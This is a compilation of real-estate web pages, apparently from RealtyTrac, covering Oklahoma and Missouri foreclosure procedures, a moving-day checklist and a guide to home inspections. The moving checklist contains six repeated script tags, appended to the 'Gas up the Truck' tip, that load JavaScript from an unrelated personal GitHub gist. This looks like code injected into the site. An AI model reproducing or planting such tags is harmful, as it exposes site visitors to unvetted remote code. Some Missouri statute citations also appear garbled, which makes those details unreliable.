Foreclosure

<h3>Foreclosure Process Overview</h3>
<p>In Oklahoma, foreclosures are conducted either in court or out of court. The total foreclosure process takes 6-7 months in Oklahoma.</p>
<table id="state_overview" width="100%" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td style="text-align: center;"><strong>Judicial</strong></td>
<td style="text-align: center;"><strong>Non Judicial</strong></td>
<td style="text-align: center;"><strong>Comment</strong></td>
<td style="text-align: center;"><strong>Process Period</strong></td>
<td style="text-align: center;"><strong>Publish Sale</strong></td>
<td style="text-align: center;"><strong>Redemption Period</strong></td>
<td style="text-align: center;"><strong>Sale/NTS</strong></td>
</tr>
<tr>
<td style="text-align: center;">•</td>
<td style="text-align: center;">•</td>
<td style="text-align: center;">Judicial mostly</td>
<td style="text-align: center;">186 days</td>
<td style="text-align: center;">N/A</td>
<td style="text-align: center;">None</td>
<td>Sheriff</td>
</tr>
</tbody>
</table>
<h3>Pre-foreclosure Period</h3>
<p>The lender can proceed with foreclosure out of court as long as the mortgage or deed of trust gives them the authority to do so. However, the restrictions under Oklahoma law make it difficult to initiate a foreclosure out of court, so this type of foreclosure is rare.</p>
<p>The majority of foreclosures in Oklahoma are through the court system. After sending any required warning letters to the borrower, the lender files in court against the borrower for default on the loan. A notice of this court action is also delivered in person and by mail to the borrower, after which the borrower usually has 20 days to respond. If the court decides to rule against the borrower, the property is scheduled for public sale.</p>
<h3>Notice of Sale / Auction</h3>
<p>Notice of sale is recorded in the county where the property is located. Notice is also published in a local newspaper in the county where the property is located once each day for four consecutive weeks. The first publishing date must be at least 30 days prior to the date of sale.</p>
<p>The property is sold at a public auction overseen by the county sheriff with an opening bid no less than two thirds of the property’s appraised value. In the case where no appraisal was made, there is no minimum bid required. The highest bidder must provide cash or certified funds equal to 10 percent of their bid amount. If for any reason the sheriff’s sale is cancelled, the entire foreclosure process starts over.</p>
<p>After the sale, it takes about 15 days for the sale to be confirmed by the court. The borrower can redeem the property by paying off the full amount owed up until the sale is confirmed. The borrower has no redemption rights after the sale has been confirmed.</p>
<blockquote>
<h4>More Resources</h4>
<p><a title="Learn how to prevent a home foreclosure" href="/real-estate-guides/foreclosure-prevention/">Learn how to prevent a home foreclosure</a><br />
<a title="Get help stopping a home foreclosure" href="/real-estate-guides/foreclosure-prevention/stop-foreclosure/">Get help stopping a home foreclosure</a><br />
<a title="Search foreclosures in Oklahoma" href="http://www.realtytrac.com/mapsearch/oklahoma-foreclosures.html">Search foreclosures in Oklahoma</a><br />
<a title="Learn how to buy foreclosures" href="/real-estate-guides/how-to-buy-foreclosures/">Learn how to buy foreclosures</a></p></blockquote>
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Oklahoma Foreclosure Laws - RealtyTrac

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<h3>Foreclosure Process Overview</h3>
<p>Provided by <a href="http://www.mllfpc.com/" target="_blank" rel="noopener">Martin, Leigh, Laws & Fritzlen, P.C.</a></p>
<p>In Missouri, foreclosures are handled both in and out of court. The typical foreclosure process takes about two months. There are two types of foreclosure that exist in Missouri – statutory judicial foreclosure and non-judicial foreclosure.</p>
<table id="state_overview" width="100%" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td style="text-align: center;"><strong>Judicial</strong></td>
<td style="text-align: center;"><strong>Non Judicial</strong></td>
<td style="text-align: center;"><strong>Comment</strong></td>
<td style="text-align: center;"><strong>Process Period</strong></td>
<td style="text-align: center;"><strong>Publish Sale</strong></td>
<td style="text-align: center;"><strong>Redemption Period</strong></td>
<td style="text-align: center;"><strong>Sale/NTS</strong></td>
</tr>
<tr>
<td style="text-align: center;">•</td>
<td style="text-align: center;">•</td>
<td style="text-align: center;">Non-judicial mostly</td>
<td style="text-align: center;">60 days</td>
<td style="text-align: center;">10 days</td>
<td style="text-align: center;">365 days</td>
<td>Trustee</td>
</tr>
</tbody>
</table>
<h3>I. Judicial vs. Non-Judicial</h3>
<h4>A. Judicial Foreclosure</h4>
<p>Statutory judicial foreclosure, found in Sections 443.190-443.280 Mo. Rev. Stat., allows a mortgagee to commence foreclosure actions in the circuit court in the county where the real estate is located against the original mortgagor, any persons who assumed the indebtedness, junior lien holders or judgment creditors, others claiming an interest in the real estate, and people having right of possession. Such foreclosure is a judicial proceeding only used where a non-judicial foreclosure has not been agreed upon, or in other instances where preliminary equitable relief is sought, such as a court setting aside the cancellation of record of a deed of trust, requiring a court to order the judicial foreclosure. See Louis v. Andrea, 338 S.W.2d 96 (Mo. 1960). This synopsis will focus on non-judicial foreclosures, as the vast majority of foreclosures in Missouri are non-judicial.</p>
<h4>B. Non-Judicial Foreclosure</h4>
<p>Typically, Missouri foreclosures are non-judicial because a contractual power of sale is valid in Missouri, a state which allows the use of Deeds of Trust to grant a security interest in real estate. See Chapter 443 Mo. Rev. Stat.; Abrams v. Lakewood Park Cemetery Ass’n, 196 S.W. 2d 278 (Mo. 1946).</p>
<p>Generally, foreclosure of a Deed of Trust occurs after (1) default in performance pursuant to the terms of the Deed of Trust, including the terms of the promissory note secured by the Deed of Trust, and (2) acceleration of the entire debt due. See Petring v. Kuhs, 171, S.W.2d 635 (Mo. 1943); Miller v. Jones, 635 S.W.2d 360, 362 (Mo.App. 1982).</p>
<h3>II. Timeline</h3>
<h4>A. Foreclosure Sale</h4>
<p>Subject to the time limits set forth hereafter, a foreclosure sale may be conducted on any date after a Notice of Default is sent to the debtor. See Petring v. Kuhs, 171, S.W.2d 635 (Mo. 1943); Miller v. Jones, 635 S.W.2d 360, 362 (Mo.App. 1982). Only the requirements stated below for publication and mailing affect the choice of the actual date.</p>
<h4>B. Notices of Sale</h4>
<p>Notices of sale are required to contain the date, book and page of the Deed of Trust, name of each grantor on the Deed of Trust, the time, terms and place of sale, and a description of the real estate to be sold. The notice must be published and mailed to required parties.<br />
<strong>1. Publication</strong><br />
Pursuant to Section 443.320 Mo Rev. Stat., a Notice of Foreclosure Sale must be printed in a newspaper published in the county in which the real estate is situated at least once a week for a total of four weeks, with the last publication being not more than one week before the sale date. If the land is located in more than one county, the notice must be published in each county. If the land is located in a Missouri first-class County, of which there are three, publication is for 21 consecutive days in a daily newspaper with the last day being the date of sale.<br />
2. Mail<br />
Pursuant to section 443.325 Mo. Rev. Stat., the notice of sale must be mailed via certified or registered mail, postage prepaid and deposited in the U.S. mail at least 20 days before the date of the foreclosure sale. Such notice must be sent to the last known address of the original grantors in the Deed of Trust, the last known address of person’s shown by the recorder’s office to be the owners of the property as of 40 days before the date of the foreclosure sale, and any person who has recorded a request for notice of sale under the Deed of Trust either at least 40 days before the date of the sale or recorded under another Deed of Trust that was recorded before the Deed of Trust now being foreclosed, if that prior Deed of Trust is not released of record.<br />
<strong>3. Notice to IRS</strong><br />
According to Internal Revenue Code Section 7425, notice of the foreclosure sale must be sent to the Internal Revenue Service if an IRS Notice of Lien on the real estate is filed more than 30 days before the date of the sale. This notice must be given by personal service or by registered or certified mail to the IRS District Director at least 25 days before the date of sale.</p>
<h4>C. Additional Considerations</h4>
<p>Some common situations may arise which affect the timelines for Deed of Trust sales such as death of owner or bankruptcy of debtor. Section 443.300 Mo. Rev. Stat. provides that in the event of the death of a person owning the real estate subject to the Deed of Trust, no foreclosure sale shall take place within six months of the date of death of such a person. Filing a petition for bankruptcy automatically stays any foreclosure proceeding at any stage until the Bankruptcy Court allows relief from the automatic stay or the stay is terminated upon the dismissal of the debtor’s bankruptcy case. See 11 U.S.C. Section 62(a). Section 443.355 Mo. Rev. The state allows the trustee to continue the sale, without re-publishing or re-mailing the notices, one time for a period not to exceed seven days so long as the continuance and new date and time is announced at the originally set date and time of sale.</p>
<h4>D. Post-Sale</h4>
<p>After completion of the sale, and if no valid Notice of Redemption (discussed below), a Trustee’s Deed is furnished to the highest bidder as soon as feasible.</p>
<h3>III. Where and How Sale Conducted</h3>
<p>Pursuant to section 449.310, the sale shall take place in the county where the land is located. The sale shall be conducted at a commercially reasonable time, which can be any time between the hours of 9:00 a.m. and 5:00 p.m. See Section 443.327 Mo. Rev. Stat.</p>
<p>As a practical matter, the trustee will appear at the proper place and time as noticed and announce, or call, the sale inviting all interested persons to participate. The terms of the sale are announced, such as non-refundable 10 percent of sale price at the time of sale with balance due by close of business that day in the office of the trustee. The Notice of Sale, as published, is read and bids for separate parcels are taken, then bids for the entire property are heard until no more bids are made after a reasonable interval. The bid or bids that produce the greatest sale price will be accepted. The property is announced sold to the highest bidder.</p>
<h3>IV. Redemption</h3>
<p>Missouri law provides for both statutory redemption rights and periods and common-law, equitable redemption.</p>
<h4>A. Statutory Redemption</h4>
<p>Statutory redemption allows for two types of redemption of the property. On one hand, property can be redeemed at any time before the foreclosure sale by payment of the entire balance of the debt and foreclosure expenses incurred up to that time. Section 443.400 Mo. Rev. Stat.</p>
<p>On the other hand, property may be redeemed after the sale only when the purchaser at the foreclosure sale is the holder of the debt or is any other person for such holder. Section 443.410 Mo. Rev. Stat. The right of this latter, statutory redemption is available only to the original mortgagor (and his heirs, devisees, executors, administrators, grantees or assigns) and the original mortgagor must do the following:</p>
<p>1. Give written notice to the trustee at the sale or within 10 days before the advertised date of the sale;<br />
2. Post a bond within 20 days after the sale in the circuit clerk’s office along with a Motion for Approval and giving the purchaser one day’s notice;<br />
3. Bond must be approved by the court within 20 days after the date of the sale;<br />
4. Bond must be executed by mortgagor and at lease one good surety, and in sufficient amount; and<br />
5. Mortgagor must, within one year for the date of the sale, pay the full amount of the debt secured by the Deed of Trust, full amount paid by the purchaser for interest and principal on any prior encumbrance of the property, taxes and assessments, and legal charges and costs of the foreclosure. See Sections 443.410, et seq., Mo. Rev. Stat.</p>
<h4>B. Equitable Redemption</h4>
<p>Under common-law, equitable redemption is potentially available after any foreclosure, and is essentially an equity action in which the mortgagor seeks relief from the Court by showing fraud or other defect in the sale causing the mortgagor damage, such as the property sold for a lower price than it would have absent the defect. A judgment in favor of the mortgagor allows for a one-year redemption period.</p>
<h4>C. IRS Redemption</h4>
<p>As discussed above, the IRS must receive notice of a sale if a Notice of IRS Lien on the real estate is filed more than 30 days before the date of the sale. Even if the Notice of Sale is given, the IRS has the right, within 120 days from the date of the foreclosure sale, to redeem the property by paying to the successful bidder the amount of the bid plus interest from the date of the sale. I.R.C. Section 7425.</p>
<blockquote>
<h4>More Resources</h4>
<p><a title="Learn how to prevent a home foreclosure" href="/real-estate-guides/foreclosure-prevention/">Learn how to prevent a home foreclosure</a><br />
<a title="Get help stopping a home foreclosure" href="/real-estate-guides/foreclosure-prevention/stop-foreclosure/">Get help stopping a home foreclosure</a><br />
<a title="Search foreclosures in Missouri" href="http://www.realtytrac.com/mapsearch/missouri-foreclosures.html">Search foreclosures in Missouri</a><br />
<a title="Learn how to buy foreclosures" href="/real-estate-guides/how-to-buy-foreclosures/">Learn how to buy foreclosures</a></p>
</blockquote>
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Missouri Foreclosure Laws | Realtytrac

Missouri Foreclosure Laws | Realtytrac - RealtyTrac

<p>Here is a quick check list of items that can help you during the physical act of moving. Whether you are using a professional moving company or doing it all yourself, these tips will help you with everything from how to pack breakables to what to pack first to how to pack cleaning products.</p>
<p>These helpful check lists will help you get from your old home to your new one. Most people can’t start packing until two weeks before they move out because they need to use the items they would be packing. This list encourages you to begin packing as early as possible, but we understand that each person is under his or her own specific pressures and timelines.</p>
<p><b>Moving Company/Rental Truck:</b> Hire a moving company or reserve a rental truck first thing. These services can easily get booked up and leave you stranded. So the sooner you hire a moving company or rent a truck the better.</p>
<h2>2 Weeks Before</h2>
<p><b>Locating Boxes:</b> Grocery stores, bars and liquor stores always have the best empty boxes. Their boxes are designed to be able to hold large amounts of weight. However, if you have a friend or neighbor who has moved recently, ask them if you can take some boxes off their hands.</p>
<p><b>Packing Bikes:</b> Visit a bike shop for a box to pack your bike(s).</p>
<p><b>Make Moving Painless:</b> Pack a little bit every night. One box can make a big difference.</p>
<h2>One Week Before</h2>
<p><b>Reserve the Elevator:</b> If you are moving into a high-rise apartment, reserve use of an elevator (where possible) so that you are not constantly waiting on each load.</p>
<p><b>Heavy Boxes:</b> Sit all boxes of books and heavy stuff on the floor so that lighter boxes can go on top.</p>
<p><b>Stacking Breakables:</b> Find a place on the floor for breakables so that they can’t fall off of anything.</p>
<h2>Few Days Before</h2>
<p><b>Double Check on Your Rentals:</b> If you are renting a truck, call again to make sure that your truck will indeed be ready just to be on the safe side.</p>
<p><b>Rental Truck Emergency Kit:</b> Buy some windshield wiper fluid, anti-freeze or coolant, and motor oil. This truck will be pulling a heavy load and it might need more than just gas to get there.</p>
<p><b>Buy a Lock:</b> Buy a lock so that you can secure the back door to your truck.</p>
<p><b>Road Supplies:</b> Make a list of things that you want to have in the car with you — either to eat, drink, or occupy your mind.</p>
<p><b>Lodging reservations:</b> If you will be stopping in an area with many lodging choices, it is best to grab a room when you arrive to get the best price. But if you don’t want to drive around looking for places, then reserve a room in advance. If you are camping in a state park, it is best to reserve a space before you leave.</p>
<p><b>Always Double-Check:</b> Double-check reservations at campgrounds, hotels, motels, Aunt Jane’s just to be on the safe side.</p>
<p><b>Travel Entertainment:</b> Bring games in the car for the kids to entertain themselves.</p>
<p><b>Road Trip Essentials:</b> Many moving trucks are only equipped with the barest essentials, often without a tape deck or CD player, sometimes even without FM radio. Check your particular truck and decide if you can travel that far without some good tunes or talk radio. Buying a small radio might be a good investment.</p>
<h2>Moving Day</h2>
<p><b>Renting the Truck:</b> There will be a walk around by you and one of the rental company employees. You will be held accountable for any damage that is not written on this sheet. So be sure to note every little flaw.</p>
<p><b>Think about Overpasses:</b> Before you pull out of the driveway, get your mind ready to be thinking about overpasses. This is a common problem with rental trucks as people are not used to looking for low clearance. If you go under a low clearance bridge that you will not clear, it will destroy the truck. And you will be left holding the bill.</p>
<p><b>Loading a Rental Truck:</b> When loading the rental truck pack the heavy stuff toward the front of the truck — meaning the part of the truck closest to the cab. Washers and dryers should go on first, followed by pianos, furniture, and anything big and heavy.</p>
<p><b>Truck Ramps:</b> Often rental trucks have a pullout ramp for loading and unloading. This ramp is narrow and typically made of aluminum. Be careful that you don’t fall off either side when carrying heavy objects. Also, these ramps can become very slick if they even get a little bit wet. Carpet scraps and rags are great to minimize slipping.</p>
<p><b>Consider Unloading:</b> If you can, pack such that what you want to come off first is put on last. Mainly items that will be going upstairs or toward the back of the house should be loaded last, so they can come off first.</p>
<p><b>Towing a Vehicle:</b> If you are towing a vehicle behind your rental truck, make sure the trailer has a working tow package. This means that the brake lights, tail lights, blinkers, and trailer brakes are all in working order.</p>
<p><b>Crowns in the Road:</b> All roads are crowned in the middle so that water won’t stand. This crown will feel severe in a big truck. Try to stack the driver’s side of the truck with more of the heavy stuff so that the truck rides even.</p>
<p><b>Parking Your Rental Truck:</b> If you are traveling on multiple nights, make sure to park your truck smartly. Find a wall or a tree or some otherwise immovable place where you can back the truck right up close. This way, if someone happens to break into your truck, they won’t be able to get many items out.</p>
<p><b>Moving In:</b> If you have items that will just go into storage in your new home, such as in the basement or in a closet, be sure to take these boxes straight there. Don’t just drop off boxes right inside the door because it’s easy. Take them where they need to go because you will end up stepping over them throughout moving day.</p>
<p><b>One Extra Day:</b> It is a smart idea to compare the pricing difference if you kept the truck one extra day. People often underestimate how draining the whole moving process can be, and if you are hurrying all day so that you can return the truck by five, you will most likely make extra work on yourself by not moving the right things to the right room. Find out what it would be worth to you to be able to take breaks, work at a nice pace, and take the truck back the next day. It could be such a small amount that it will be worth it to pay for the extra time and have the option to be tired and work smartly.</p>
<p><b>Gas up the Truck:</b> Be sure to take the rental truck back with a full tank of gas, as they will charge you an extraordinary amount per gallon if they have to fill it. <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script></p>


Buying a home

Moving Tips: What To Do During The Weeks Before Moving In

Here are some quick tips that can help making house a little easier

Moving Tips: What To Do During The Weeks Before Moving In - RealtyTrac

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<p>Buying a home or investment property can be a confusing and stressful endeavor. Not only do you have to consider price, location and financing, but you have to worry about the structural soundness of the property you are buying.</p>



<h2 class="wp-block-heading" id="h-the-importance-of-home-inspections">The Importance of Home Inspections</h2>



<p>That’s why home inspections are so important. Next to financing, the home inspection is probably one of the most important aspects of buying a home. A home inspection is an unbiased, professional assessment of the condition of the house. It provides buyers with an expert opinion and written report on the condition of the physical structure and various systems within the house.</p>



<p>In order to prepare the report, an inspection must conduct a visual inspection of the house. Depending on the size of the property, the inspection process typically takes about three hours to complete. Buyers should accompany the inspector during the inspection. This will give you a chance to ask questions and become familiar with the systems of the home.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="950" height="629" src="https://nationsinfocor.wpengine.com/wp-content/uploads/2024/01/Inspecting-a-home.jpg" alt="" class="wp-image-25925" srcset="https://nationsinfocor.wpengine.com/wp-content/uploads/2024/01/Inspecting-a-home.jpg 950w, https://nationsinfocor.wpengine.com/wp-content/uploads/2024/01/Inspecting-a-home-300x199.jpg 300w, https://nationsinfocor.wpengine.com/wp-content/uploads/2024/01/Inspecting-a-home-768x508.jpg 768w" sizes="(max-width: 950px) 100vw, 950px" /></figure>



<p>Home inspectors are hired by buyers to provide a written report  regarding the property’s condition, including the roof, foundation, heating and cooling systems, plumbing, electrical work, water and sewerage and some fire and safety issues. Moreover, the home inspector will look for evidence of insect, water or fire damage or any other issue that may affect the value of the property.</p>



<h2 class="wp-block-heading" id="h-choosing-the-right-home-inspector">Choosing the Right Home Inspector</h2>



<p>Not every state has a certification program for the home inspection industry and requirements for certification vary widely. In many states an inspector doesn’t need any formal inspection education and may not have to be licensed or bonded. </p>



<p>In order to make sure your inspector is a competent professional, you should do a little research on your state’s requirements, certifications and professional designations. To find a home inspector go the <a href="http://www.ashi.org/" target="_blank" rel="noopener">American Society of Home Inspectors</a> (ASHI) website or the <a href="http://www.nahi.org/" target="_blank" rel="noopener">National Association of Home Inspectors</a> (NAHI) website to locate a home inspector near you. ASHI maintains a list of certified inspectors, searchable by Zip code. </p>



<p>Word of mouth is probably still the most common way to find an inspector. But even if the recommendation comes from a friend or <a href="https://www.realtytrac.com/resources/real-estate-agent/">real estate agent</a>, it’s a good idea to check for certification, call references, and consult the local Better Business Bureau to make sure previous jobs have been without incident.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="682" src="https://nationsinfocor.wpengine.com/wp-content/uploads/2024/05/Getting-a-mortgage-1024x682.jpg" alt="" class="wp-image-26408" srcset="https://nationsinfocor.wpengine.com/wp-content/uploads/2024/05/Getting-a-mortgage-1024x682.jpg 1024w, https://nationsinfocor.wpengine.com/wp-content/uploads/2024/05/Getting-a-mortgage-300x200.jpg 300w, https://nationsinfocor.wpengine.com/wp-content/uploads/2024/05/Getting-a-mortgage-768x512.jpg 768w, https://nationsinfocor.wpengine.com/wp-content/uploads/2024/05/Getting-a-mortgage.jpg 1100w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Most real estate agents will be able to recommend several (get at least three names), and you can also ask friends who had an inspection done recently. Inspection costs vary depending on the size of the home being inspected, but it usually ranges between $200 and $400.</p>



<p>When choosing a home inspector experience is key. Inspectors learn something new on each job, so the longer they’ve been in business the better. Also, find out what sort of report the inspector issues. Also, be aware that home inspectors are poorly regulated, and the level of performance varies widely. Only 16 states require licenses, according to the American Society of Home Inspectors, a trade group based in Des Plaines, Illinois.</p>



<h2 class="wp-block-heading" id="h-navigating-post-inspection-negotiations">Navigating Post-Inspection Negotiations</h2>



<p>With your inspection report in hand — plus your list of needed improvements and the assistance of your real estate sales professional — you can request that the seller make repairs. The seller may say no, give you a purchase credit or repair some items. </p>



<p>But the more detailed your list, the better the chances the seller will at least give a little — and maybe a lot.</p>


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The Critical Role of Home Inspectors in Real Estate Transactions

Learn what a real estate inspector does and why you need them.

The Critical Role of Home Inspectors in Real Estate Transactions | RealtyTrac

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Judicial	Non Judicial	Comment	Process Period	Publish Sale	Redemption Period	Sale/NTS
•	•	Judicial mostly	186 days	N/A	None	Sheriff